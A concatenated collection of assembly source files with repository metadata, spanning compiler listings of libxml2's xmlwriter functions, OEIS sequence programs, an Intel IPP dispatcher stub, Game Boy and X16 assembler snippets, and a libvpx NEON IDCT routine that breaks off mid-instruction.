esp, 76 ; 0000004cH ; 396 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 397 : "xmlNewTextWriterDoc : error at xmlNewTextWriterPushParser!\n"); ; 398 : return NULL; xor eax, eax pop edi pop esi ; 409 : } mov esp, ebp pop ebp ret 0 $LN4@xmlNewText: ; 399 : } ; 400 : ; 401 : xmlSetDocCompressMode(ctxt->myDoc, compression); push DWORD PTR _compression$[ebp] push eax call _xmlSetDocCompressMode ; 402 : ; 403 : if (doc != NULL) { mov ecx, DWORD PTR _doc$[ebp] add esp, 8 test ecx, ecx je SHORT $LN5@xmlNewText ; 404 : *doc = ctxt->myDoc; mov eax, DWORD PTR [esi+8] mov DWORD PTR [ecx], eax ; 405 : ret->no_doc_free = 1; mov DWORD PTR [edi+36], 1 $LN5@xmlNewText: ; 406 : } ; 407 : ; 408 : return ret; mov eax, edi pop edi pop esi ; 409 : } mov esp, ebp pop ebp ret 0 _xmlNewTextWriterDoc ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlNewTextWriterPushParser _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _compression$ = 12 ; size = 4 _xmlNewTextWriterPushParser PROC ; COMDAT ; 318 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctxt$[ebp] test esi, esi jne SHORT $LN2@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push esi push esi push esi push esi push esi push esi push esi push 3 push 1 push 25 ; 00000019H push esi push esi push esi push esi push esi call ___xmlRaiseError add esp, 68 ; 00000044H ; 319 : xmlTextWriterPtr ret; ; 320 : xmlOutputBufferPtr out; ; 321 : ; 322 : if (ctxt == NULL) { ; 323 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 324 : "xmlNewTextWriterPushParser : invalid context!\n"); ; 325 : return NULL; xor eax, eax pop esi ; 346 : ; 347 : return ret; ; 348 : } pop ebp ret 0 $LN2@xmlNewText: push edi ; 326 : } ; 327 : ; 328 : out = xmlOutputBufferCreateIO(xmlTextWriterWriteDocCallback, push 0 push esi push OFFSET _xmlTextWriterCloseDocCallback push OFFSET _xmlTextWriterWriteDocCallback call _xmlOutputBufferCreateIO mov edi, eax add esp, 16 ; 00000010H ; 329 : xmlTextWriterCloseDocCallback, ; 330 : (void *) ctxt, NULL); ; 331 : if (out == NULL) { test edi, edi jne SHORT $LN3@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 1 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError add esp, 68 ; 00000044H ; 332 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 333 : "xmlNewTextWriterPushParser : error at xmlOutputBufferCreateIO!\n"); ; 334 : return NULL; xor eax, eax pop edi pop esi ; 346 : ; 347 : return ret; ; 348 : } pop ebp ret 0 $LN3@xmlNewText: ; 335 : } ; 336 : ; 337 : ret = xmlNewTextWriter(out); push edi call _xmlNewTextWriter add esp, 4 ; 338 : if (ret == NULL) { test eax, eax jne SHORT $LN4@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 1 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError ; 339 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 340 : "xmlNewTextWriterPushParser : error at xmlNewTextWriter!\n"); ; 341 : xmlOutputBufferClose(out); push edi call _xmlOutputBufferClose add esp, 72 ; 00000048H ; 342 : return NULL; xor eax, eax pop edi pop esi ; 346 : ; 347 : return ret; ; 348 : } pop ebp ret 0 $LN4@xmlNewText: pop edi ; 343 : } ; 344 : ; 345 : ret->ctxt = ctxt; mov DWORD PTR [eax+32], esi pop esi ; 346 : ; 347 : return ret; ; 348 : } pop ebp ret 0 _xmlNewTextWriterPushParser ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlNewTextWriterMemory _TEXT SEGMENT _buf$ = 8 ; size = 4 _compression$ = 12 ; size = 4 _xmlNewTextWriterMemory PROC ; COMDAT ; 279 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push 0 push DWORD PTR _buf$[ebp] call _xmlOutputBufferCreateBuffer mov esi, eax add esp, 8 test esi, esi jne SHORT $LN2@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 2 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError add esp, 68 ; 00000044H ; 297 : return NULL; ; 298 : } ; 299 : ; 300 : return ret; ; 301 : } xor eax, eax pop esi pop ebp ret 0 $LN2@xmlNewText: ; 280 : xmlTextWriterPtr ret; ; 281 : xmlOutputBufferPtr out; ; 282 : ; 283 : /*::todo handle compression */ ; 284 : out = xmlOutputBufferCreateBuffer(buf, NULL); ; 285 : ; 286 : if (out == NULL) { ; 287 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 288 : "xmlNewTextWriterMemory : out of memory!\n"); ; 289 : return NULL; ; 290 : } ; 291 : ; 292 : ret = xmlNewTextWriter(out); push esi call _xmlNewTextWriter add esp, 4 ; 293 : if (ret == NULL) { test eax, eax jne SHORT $LN1@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 2 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError ; 294 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 295 : "xmlNewTextWriterMemory : out of memory!\n"); ; 296 : xmlOutputBufferClose(out); push esi call _xmlOutputBufferClose add esp, 72 ; 00000048H ; 297 : return NULL; ; 298 : } ; 299 : ; 300 : return ret; ; 301 : } xor eax, eax $LN1@xmlNewText: pop esi pop ebp ret 0 _xmlNewTextWriterMemory ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlNewTextWriterFilename _TEXT SEGMENT _uri$ = 8 ; size = 4 _compression$ = 12 ; size = 4 _xmlNewTextWriterFilename PROC ; COMDAT ; 243 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _compression$[ebp] push 0 push DWORD PTR _uri$[ebp] call _xmlOutputBufferCreateFilename mov esi, eax add esp, 12 ; 0000000cH test esi, esi jne SHORT $LN2@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 1516 ; 000005ecH push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError add esp, 68 ; 00000044H ; 244 : xmlTextWriterPtr ret; ; 245 : xmlOutputBufferPtr out; ; 246 : ; 247 : out = xmlOutputBufferCreateFilename(uri, NULL, compression); ; 248 : if (out == NULL) { ; 249 : xmlWriterErrMsg(NULL, XML_IO_EIO, ; 250 : "xmlNewTextWriterFilename : cannot open uri\n"); ; 251 : return NULL; xor eax, eax pop esi ; 264 : return ret; ; 265 : } pop ebp ret 0 $LN2@xmlNewText: ; 252 : } ; 253 : ; 254 : ret = xmlNewTextWriter(out); push esi call _xmlNewTextWriter add esp, 4 ; 255 : if (ret == NULL) { test eax, eax jne SHORT $LN3@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 2 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError ; 256 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 257 : "xmlNewTextWriterFilename : out of memory!\n"); ; 258 : xmlOutputBufferClose(out); push esi call _xmlOutputBufferClose add esp, 72 ; 00000048H ; 259 : return NULL; xor eax, eax pop esi ; 264 : return ret; ; 265 : } pop ebp ret 0 $LN3@xmlNewText: ; 260 : } ; 261 : ; 262 : ret->indent = 0; mov DWORD PTR [eax+16], 0 ; 263 : ret->doindent = 0; mov DWORD PTR [eax+20], 0 pop esi ; 264 : return ret; ; 265 : } pop ebp ret 0 _xmlNewTextWriterFilename ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlNewTextWriter _TEXT SEGMENT _out$ = 8 ; size = 4 _xmlNewTextWriter PROC ; COMDAT ; 182 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push 44 ; 0000002cH call DWORD PTR _xmlMalloc mov esi, eax add esp, 4 test esi, esi jne SHORT $LN2@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 2 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError add esp, 68 ; 00000044H ; 183 : xmlTextWriterPtr ret; ; 184 : ; 185 : ret = (xmlTextWriterPtr) xmlMalloc(sizeof(xmlTextWriter)); ; 186 : if (ret == NULL) { ; 187 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 188 : "xmlNewTextWriter : out of memory!\n"); ; 189 : return NULL; xor eax, eax pop esi ; 230 : } pop ebp ret 0 $LN2@xmlNewText: ; 190 : } ; 191 : memset(ret, 0, (size_t) sizeof(xmlTextWriter)); push 44 ; 0000002cH push 0 push esi call _memset ; 192 : ; 193 : ret->nodes = xmlListCreate(xmlFreeTextWriterStackEntry, push OFFSET _xmlCmpTextWriterStackEntry push OFFSET _xmlFreeTextWriterStackEntry call _xmlListCreate add esp, 20 ; 00000014H mov DWORD PTR [esi+4], eax ; 194 : xmlCmpTextWriterStackEntry); ; 195 : if (ret->nodes == NULL) { test eax, eax jne SHORT $LN3@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 2 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError ; 196 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 197 : "xmlNewTextWriter : out of memory!\n"); ; 198 : xmlFree(ret); push esi call DWORD PTR _xmlFree add esp, 72 ; 00000048H ; 199 : return NULL; xor eax, eax pop esi ; 230 : } pop ebp ret 0 $LN3@xmlNewText: ; 200 : } ; 201 : ; 202 : ret->nsstack = xmlListCreate(xmlFreeTextWriterNsStackEntry, push OFFSET _xmlCmpTextWriterNsStackEntry push OFFSET _xmlFreeTextWriterNsStackEntry call _xmlListCreate add esp, 8 mov DWORD PTR [esi+8], eax ; 203 : xmlCmpTextWriterNsStackEntry); ; 204 : if (ret->nsstack == NULL) { test eax, eax jne SHORT $LN4@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 2 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError ; 205 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 206 : "xmlNewTextWriter : out of memory!\n"); ; 207 : xmlListDelete(ret->nodes); push DWORD PTR [esi+4] call _xmlListDelete add esp, 72 ; 00000048H ; 208 : xmlFree(ret); push esi call DWORD PTR _xmlFree add esp, 4 ; 209 : return NULL; xor eax, eax pop esi ; 230 : } pop ebp ret 0 $LN4@xmlNewText: ; 210 : } ; 211 : ; 212 : ret->out = out; mov eax, DWORD PTR _out$[ebp] ; 213 : ret->ichar = xmlStrdup(BAD_CAST " "); push OFFSET ??_C@_01CLKCMJKC@?5@ mov DWORD PTR [esi], eax call _xmlStrdup add esp, 4 mov DWORD PTR [esi+24], eax ; 214 : ret->qchar = '"'; mov BYTE PTR [esi+28], 34 ; 00000022H ; 215 : ; 216 : if (!ret->ichar) { test eax, eax jne SHORT $LN5@xmlNewText ; 217 : xmlListDelete(ret->nodes); push DWORD PTR [esi+4] call _xmlListDelete ; 218 : xmlListDelete(ret->nsstack); push DWORD PTR [esi+8] call _xmlListDelete ; 219 : xmlFree(ret); push esi call DWORD PTR _xmlFree ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 3 push 2 push 25 ; 00000019H push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError add esp, 80 ; 00000050H ; 220 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 221 : "xmlNewTextWriter : out of memory!\n"); ; 222 : return NULL; xor eax, eax pop esi ; 230 : } pop ebp ret 0 $LN5@xmlNewText: ; 223 : } ; 224 : ; 225 : ret->doc = xmlNewDoc(NULL); push 0 call _xmlNewDoc add esp, 4 mov DWORD PTR [esi+40], eax ; 226 : ; 227 : ret->no_doc_free = 0; mov DWORD PTR [esi+36], 0 ; 228 : ; 229 : return ret; mov eax, esi pop esi ; 230 : } pop ebp ret 0 _xmlNewTextWriter ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h ; COMDAT _vsnprintf _TEXT SEGMENT __Buffer$ = 8 ; size = 4 __BufferCount$ = 12 ; size = 4 __Format$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 _vsnprintf PROC ; COMDAT ; 1439 : { push ebp mov ebp, esp mov ecx, OFFSET __A452D4A0_stdio@h call @__CheckForDebuggerJustMyCode@4 call ___local_stdio_printf_options push DWORD PTR __ArgList$[ebp] mov ecx, eax push 0 push DWORD PTR __Format$[ebp] push DWORD PTR __BufferCount$[ebp] mov eax, DWORD PTR [ecx] push DWORD PTR __Buffer$[ebp] or eax, 2 push DWORD PTR [ecx+4] push eax call DWORD PTR __imp____stdio_common_vsprintf or ecx, -1 add esp, 28 ; 0000001cH test eax, eax cmovs eax, ecx ; 1440 : int const _Result = __stdio_common_vsprintf( ; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR, ; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList); ; 1443 : ; 1444 : return _Result < 0 ? -1 : _Result; ; 1445 : } pop ebp ret 0 _vsnprintf ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT mov ecx, OFFSET __2CC6E67D_corecrt_stdio_config@h call @__CheckForDebuggerJustMyCode@4 mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
20.68632
163
0.624548
163526515c1df66a5e5ed7955453ab7dd5bcc65a
550
asm
Assembly
oeis/121/A121555.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/121/A121555.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/121/A121555.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A121555: Number of 1-cell columns in all deco polyominoes of height n. A deco polyomino is a directed column-convex polyomino in which the height, measured along the diagonal, is attained only in the last column. ; Submitted by Christian Krause ; 1,2,7,32,178,1164,8748,74304,704016,7362720,84255840,1047358080,14054739840,202514376960,3118666924800,51119166873600,888640952371200,16330301780889600,316322420114534400,6441691128993792000 mov $1,1 mov $3,1 lpb $0 mov $2,$0 add $3,$1 mul $3,$0 sub $0,1 add $2,1 mul $1,$2 lpe mov $0,$3
34.375
214
0.763636
5b2f4fd1e84f98609e046f06ff1c4a449eec7c3d
361
asm
Assembly
programs/oeis/073/A073718.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/073/A073718.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/073/A073718.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A073718: Powers of 2 with composite exponents. ; 16,64,256,512,1024,4096,16384,32768,65536,262144,1048576,2097152,4194304,16777216,33554432,67108864,134217728,268435456,1073741824,4294967296,8589934592,17179869184,34359738368,68719476736 add $0,2 seq $0,65090 ; Natural numbers which are not odd primes: composites plus 1 and 2. mov $1,2 pow $1,$0 mov $0,$1
40.111111
190
0.789474
e62b129e629d852f3633593d7d1548cfb7054e2c
1,325
asm
Assembly
_build/dispatcher/jmp_ippsRSA_InitPrivateKeyType1_e9ce5264.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsRSA_InitPrivateKeyType1_e9ce5264.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsRSA_InitPrivateKeyType1_e9ce5264.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsRSA_InitPrivateKeyType1:function extern n8_ippsRSA_InitPrivateKeyType1:function extern y8_ippsRSA_InitPrivateKeyType1:function extern e9_ippsRSA_InitPrivateKeyType1:function extern l9_ippsRSA_InitPrivateKeyType1:function extern n0_ippsRSA_InitPrivateKeyType1:function extern k0_ippsRSA_InitPrivateKeyType1:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsRSA_InitPrivateKeyType1 .Larraddr_ippsRSA_InitPrivateKeyType1: dq m7_ippsRSA_InitPrivateKeyType1 dq n8_ippsRSA_InitPrivateKeyType1 dq y8_ippsRSA_InitPrivateKeyType1 dq e9_ippsRSA_InitPrivateKeyType1 dq l9_ippsRSA_InitPrivateKeyType1 dq n0_ippsRSA_InitPrivateKeyType1 dq k0_ippsRSA_InitPrivateKeyType1 segment .text global ippsRSA_InitPrivateKeyType1:function (ippsRSA_InitPrivateKeyType1.LEndippsRSA_InitPrivateKeyType1 - ippsRSA_InitPrivateKeyType1) .Lin_ippsRSA_InitPrivateKeyType1: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsRSA_InitPrivateKeyType1: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsRSA_InitPrivateKeyType1] mov r11, qword [r11+rax*8] jmp r11 .LEndippsRSA_InitPrivateKeyType1:
33.974359
135
0.833962
e62fddef8589026f6eb181b2cab60aee9d0f9f3a
48
asm
Assembly
test/asm/line-continuation-rept.asm
orbea/rgbds
91889fc14abbf705271bb484e89e349e08f76477
[ "MIT" ]
522
2017-02-25T21:10:13.000Z
2020-09-13T14:26:18.000Z
test/asm/line-continuation-rept.asm
orbea/rgbds
91889fc14abbf705271bb484e89e349e08f76477
[ "MIT" ]
405
2017-02-25T21:32:37.000Z
2020-09-13T16:43:29.000Z
test/asm/line-continuation-rept.asm
orbea/rgbds
91889fc14abbf705271bb484e89e349e08f76477
[ "MIT" ]
84
2017-02-25T21:10:26.000Z
2020-09-13T14:28:25.000Z
m: MACRO ENDM REPT 1 m ENDR REPT 1 m \ ENDR
4.363636
8
0.625
abba76a1d818d4a73b2b53b36395cc7d0ace3a28
144
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w49.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w49.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w49.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: ys_w49.asm Type: file Size: 15766 Last-Modified: '2016-05-13T04:51:16Z' SHA-1: 8C676387C23DB032CBA3A00B0E0AD785646350D5 Description: null
20.571429
47
0.8125
e25b517d0c9c13ee0eda876a07e91af99d38060b
1,064
asm
Assembly
src/test/ref/liverange-3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/liverange-3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/liverange-3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test effective live range and register allocation // Here main::b should be allocated to the same register as print::b and main::ca to the same register as print::ca // Commodore 64 PRG executable file .file [name="liverange-3.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label SCREEN = $400 .segment Code main: { .label a = 2 lda #0 sta.z a __b1: ldx #0 __b2: ldy #0 __b3: // char ca = c+a tya clc adc.z a // print(b, ca) jsr print // for( char c: 0..100 ) iny cpy #$65 bne __b3 // for( char b: 0..100 ) inx cpx #$65 bne __b2 // for(char a: 0..100 ) inc.z a lda #$65 cmp.z a bne __b1 // } rts } // void print(__register(X) char b, __register(A) char ca) print: { // (*(SCREEN+999))++; inc SCREEN+$3e7 // SCREEN[b] = ca sta SCREEN,x // } rts }
20.075472
115
0.583647
f1fa0b1d490a46110699864a1077e5634702919a
719
asm
Assembly
oeis/347/A347385.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/347/A347385.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/347/A347385.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A347385: Dedekind psi function applied to the odd part of n: a(n) = A001615(A000265(n)). ; Submitted by Christian Krause ; 1,1,4,1,6,4,8,1,12,6,12,4,14,8,24,1,18,12,20,6,32,12,24,4,30,14,36,8,30,24,32,1,48,18,48,12,38,20,56,6,42,32,44,12,72,24,48,4,56,30,72,14,54,36,72,8,80,30,60,24,62,32,96,1,84,48,68,18,96,48,72,12,74,38,120,20,96,56,80,6,108,42,84,32,108 add $0,1 mov $1,1 lpb $0 div $2,$1 mov $3,$0 lpb $3 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 cmp $5,1 max $4,$5 add $2,$4 add $2,1 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 mul $5,$2 lpe dif $5,$2 mul $1,$5 add $2,1 mul $1,$2 lpe mov $0,$1
19.972222
238
0.541029
65fa66d48e75e97bd26407a083173956cdb90ea4
419
asm
Assembly
lib/utils.asm
VincentFoulon80/vixx
d997ad6ca6e5608b9b18b580eee03a92e98612db
[ "MIT" ]
1
2021-02-10T12:42:15.000Z
2021-02-10T12:42:15.000Z
lib/utils.asm
VincentFoulon80/vixx
d997ad6ca6e5608b9b18b580eee03a92e98612db
[ "MIT" ]
2
2021-02-09T21:32:13.000Z
2021-02-20T23:14:27.000Z
lib/utils.asm
VincentFoulon80/vixx
d997ad6ca6e5608b9b18b580eee03a92e98612db
[ "MIT" ]
null
null
null
!macro fn_plot .x, .y { phx phy ldy #.x ldx #.y clc jsr PLOT ply plx } !macro fn_locate .x, .y, .string_ptr { lda #<.string_ptr sta x16_r0_l lda #>.string_ptr sta x16_r0_h lda #.x sta x16_r1 lda #.y sta x16_r1+1 jsr locate } !macro fn_print .string_ptr { lda #<.string_ptr sta x16_r0_l lda #>.string_ptr sta x16_r0_h jsr print }
13.966667
38
0.556086
85fff11b3b178d4f31f41ca9ac2338fef8aaf4ad
6,058
asm
Assembly
vp8/decoder/arm/neon/idct_dequant_full_2x_neon.asm
CM-Archive/android_external_libvpx
76e0247ec867fcc232fc79f21e9bf85d3c3a5a3f
[ "BSD-3-Clause" ]
3
2015-08-31T15:24:31.000Z
2020-04-24T20:31:29.000Z
vp8/decoder/arm/neon/idct_dequant_full_2x_neon.asm
CM-Archive/android_external_libvpx
76e0247ec867fcc232fc79f21e9bf85d3c3a5a3f
[ "BSD-3-Clause" ]
null
null
null
vp8/decoder/arm/neon/idct_dequant_full_2x_neon.asm
CM-Archive/android_external_libvpx
76e0247ec867fcc232fc79f21e9bf85d3c3a5a3f
[ "BSD-3-Clause" ]
4
2015-09-16T11:40:39.000Z
2019-06-10T01:08:46.000Z
; ; Copyright (c) 2010 The Webm project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; EXPORT |idct_dequant_full_2x_neon| ARM REQUIRE8 PRESERVE8 AREA ||.text||, CODE, READONLY, ALIGN=2 ;void idct_dequant_full_2x_neon(short *q, short *dq, unsigned char *pre, ; unsigned char *dst, int pitch, int stride); ; r0 *q, ; r1 *dq, ; r2 *pre ; r3 *dst ; sp pitch ; sp+4 stride |idct_dequant_full_2x_neon| PROC vld1.16 {q0, q1}, [r1] ; dq (same l/r) vld1.16 {q2, q3}, [r0] ; l q ldr r1, [sp] ; pitch add r0, r0, #32 vld1.16 {q4, q5}, [r0] ; r q add r12, r2, #4 ; interleave the predictors vld1.32 {d28[0]}, [r2], r1 ; l pre vld1.32 {d28[1]}, [r12], r1 ; r pre vld1.32 {d29[0]}, [r2], r1 vld1.32 {d29[1]}, [r12], r1 vld1.32 {d30[0]}, [r2], r1 vld1.32 {d30[1]}, [r12], r1 vld1.32 {d31[0]}, [r2] vld1.32 {d31[1]}, [r12] ldr r2, _CONSTANTS_ ; dequant: q[i] = q[i] * dq[i] vmul.i16 q2, q2, q0 vmul.i16 q3, q3, q1 vmul.i16 q4, q4, 